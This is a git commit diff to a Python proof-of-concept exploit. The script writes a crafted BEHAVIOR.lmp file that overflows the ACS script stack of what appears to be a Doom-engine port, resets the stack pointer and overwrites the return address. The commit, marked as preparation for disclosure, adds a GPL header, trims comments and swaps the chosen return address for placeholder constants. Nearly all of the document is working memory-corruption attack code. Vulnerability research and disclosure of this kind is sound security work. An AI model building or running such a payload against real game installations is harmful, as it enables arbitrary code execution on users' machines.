Final edits in preparation for disclosure.

1 files changed, 21 insertions, 18 deletions

diff --git a/exploit.py b/exploit.py
index 73635c8..d13b602 100644
--- a/exploit.py
+++ b/exploit.py
@@ -1,5 +1,19 @@
 #!/usr/bin/env python
 
+# Copyright (c) 2017 Jakob L. Kreuze
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, version 3.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
 import os
 import struct
 import sys
@@ -9,9 +23,6 @@ import sys
 # SIZE (Excluding CHUNK and SIZE) [4 bytes]
 # CONTENTS [SIZE bytes]
 
-# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte
-# opcode size range and doesn't place anything onto the stack.
-
 STACK_SIZE = 0x1000
 
 CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
@@ -21,17 +32,10 @@ FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]
 PCD_NOP = 0
 PCD_TERMINATE = 1
 PCD_PUSHNUMBER = 3
-PCD_ASSIGNSCRIPTVAR = 25
 PCD_PUSHBYTE = 167
-PCD_PUSHBYTES = 175
-PCD_PUSH5BYTES = 179
-
-# assert(sp == 0) is only compiled in DEBUG builds.
 
-# You should probably throw some debug prints into the source code,
-# finding the address of `Stack`, and the address of the return
-# address on the stack. For me, `Stack` is at an offset of 4122 before
-# the return address.
+# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the
+# stack is not necessary.
 
 # Scripts must be aligned to 32 bits.
 def align_script(code: list) -> list:
@@ -40,23 +44,22 @@ def align_script(code: list) -> list:
 
 
 if __name__ == "__main__":
-    if len(sys.argv) != 3:
-        sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0]))
+    if len(sys.argv) != 2:
+        sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0]))
         sys.exit(1)
 
     desired_offset = int(sys.argv[1])
-    return_address = int(sys.argv[2])
     dest = "BEHAVIOR.lmp"
 
     # Smash stackobj.sp
-    payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2)
+    payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2)
 
     # Overwrite stackobj.sp
     payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))
 
     # Smash the return pointer
-    least_sig = list(struct.pack("Q", return_address))[:4]
-    most_sig = list(struct.pack("Q", return_address))[4:]
+    least_sig = list(struct.pack("Q", 0xcafebabe))[:4]
+    most_sig = list(struct.pack("Q", 0xdeadbeef))[4:]
     payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig
 
     payload.append(PCD_TERMINATE)